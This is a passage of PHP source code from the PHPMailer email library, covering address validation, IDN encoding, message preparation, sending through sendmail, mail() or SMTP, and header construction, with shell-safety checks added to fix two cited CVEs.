                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
                $this->Body = $this->wrapText($this->Body, $this->WordWrap);
                break;
        }
    }

    /**
     * Assemble message headers.
     * @access public
     * @return string The assembled headers
     */
    public function createHeader()
    {
        $result = '';

        $result .= $this->headerLine('Date', $this->MessageDate == '' ? self::rfcDate() : $this->MessageDate);

        // To be created automatically by mail()
        if ($this->SingleTo) {
            if ($this->Mailer != 'mail') {
                foreach ($this->to as $toaddr) {
                    $this->SingleToArray[] = $this->addrFormat($toaddr);
                }
            }
        } else {
            if (count($this->to) > 0) {
                if ($this->Mailer != 'mail') {
                    $result .= $this->addrAppend('To', $this->to);
                }
            } elseif (count($this->cc) == 0) {
                $result .= $this->headerLine('To', 'undisclosed-recipients:;');
            }
        }

        $result .= $this->addrAppend('From', array(array(trim($this->From), $this->FromName)));

        // sendmail and mail() extract Cc from the header before sending
        if (count($this->cc) > 0) {
            $result .= $this->addrAppend('Cc', $this->cc);
        }

        // sendmail and mail() extract Bcc from the header before sending
        if ((
                $this->Mailer == 'sendmail' or $this->Mailer == 'qmail' or $this->Mailer == 'mail'
            )
            and count($this->bcc) > 0
        ) {
            $result .= $this->addrAppend('Bcc', $this->bcc);
        }

        if (count($this->ReplyTo) > 0) {
            $result .= $this->addrAppend('Reply-To', $this->ReplyTo);
        }

        // mail() sets the subject itself
        if ($this->Mailer != 'mail') {
            $result .= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader($this->Subject)));
        }

        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4
        // https://tools.ietf.org/html/rfc5322#section-3.6.4
        if ('' != $this->MessageID and preg_match('/^<.*@.*>$/', $this->MessageID)) {
            $this->lastMessageID = $this->MessageID;
        } else {
            $this->lastMessageID = sprintf('<%s@%s>', $this->uniqueid, $this->serverHostname());
        }
        $result .= $this->headerLine('Message-ID', $this->lastMessageID);
        if (!is_null($this->Priority)) {
            $result .= $this->headerLine('X-Priority', $this->Priority);
        }
        if ($this->XMailer == '') {
            $result .= $this->headerLine(
                'X-Mailer',
                'PHPMailer ' . $this->Version . ' (https://github.com/PHPMailer/PHPMailer)'
            );
        } else {
            $myXmailer = trim($this->XMailer);
            if ($myXmailer) {
                $result .= $this->headerLine('X-Mailer', $myXmailer);
            }
        }

        if ($this->ConfirmReadingTo != '') {
            $result .= $this->headerLine('Disposition-Notification-To', '<' . $this->ConfirmReadingTo . '>');
        }

